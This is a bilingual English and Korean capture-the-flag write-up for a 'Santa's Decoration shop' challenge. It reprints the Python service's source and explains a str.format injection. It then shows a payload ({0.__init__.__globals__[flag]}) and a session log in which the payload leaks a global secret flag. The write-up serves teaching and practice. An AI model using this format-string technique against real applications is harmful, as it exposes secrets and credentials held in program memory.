English write-up

 

You can find the menu below when connect to the problem server with nc.

 

If you choose menu No.3, the server reply the source code.

 

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

With menu No.1 you can add some items to the entry, you can print them out with menu No. 2.

 

At first, I paid attention to code part with comment "# Too lazy to sanitize this", because I thought that is a hint from the problem setter. But there wasn't nothing special there.

 

Near the function "print_decoration", there is a code line uses python format function. Although I didn't know about  python format string grammer precisely, but there is no consistency between "quantity value" and "type value".

Because "quantity value" is injected into the string with format string, but "type value" is inserted into the string with string concatenation. It seems very suspicious.

 

Finally, I found there is format string bug on that line.

print ('{0.quantity} x ... '+ self.type).format(self)

0 inside curly brace means the 0-indexed parameter of format function. In this case, 0 means "self" parameter which is Decoration object.

Thus, 0.quantity means "quantity" property of self object.

 

self.type value is inserted to the string with string concatenation, we can insert another format string.

The our custom format string will be evaluated with format function.

 

If you insert {0.__init__.__globals__[flag]} to type value, you can find the value of flag which is global variable.

 

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

Gotcha!

We've got flag "X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}"

 

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

 

 

한국어 풀이

 

MISC 문제이다. nc로 접속해보면 다음과 같은 메뉴들이 나타난다.

 

3번 메뉴를 선택하면, 소스코드를 알려준다.

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

 

1번 메뉴를 이용해서 아이템들을 추가할 수 있고, 2번 메뉴를 통해서 추가된 아이템들을 출력해볼 수 있다.

 

소스코드중에서 주석 처리된 부분 # Too lazy to sanitize this라는 부분이 힌트인줄 알고 계속 보았는데, 이 부분은 별다른 내용은 없었다.

 

2번 메뉴중 print_decoration부분에서 python format string에 format 함수를 이용해서 입력하는 부분이 있는데, 해당 문법을 몰라서 감을 못잡다가, 해당 부분에 포맷 스트링 버그가 있는 것을 알 수 있었다.

 

print ('{0.quantity} x ... '+ self.type).format(self)

위 부분에서 self.type을 붙여서 format 스트링을 만든 뒤, format함수를 통해서 evaluation이 되게 되는데, {0.quantity}의 의미는 format 함수의 0번째 인자의 quantity 프로퍼티를 뜻한다.

 

self는 Decoration 객체를 뜻하므로, self.type에 {0.__init__.__globals__[flag]}라는 값을 입력시킨 뒤 출력하게 만든다면 전역변수 flag에 있는 값을 출력시킬 수 있게 된다.

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

flag는 X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} 이다.

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

+ Recent posts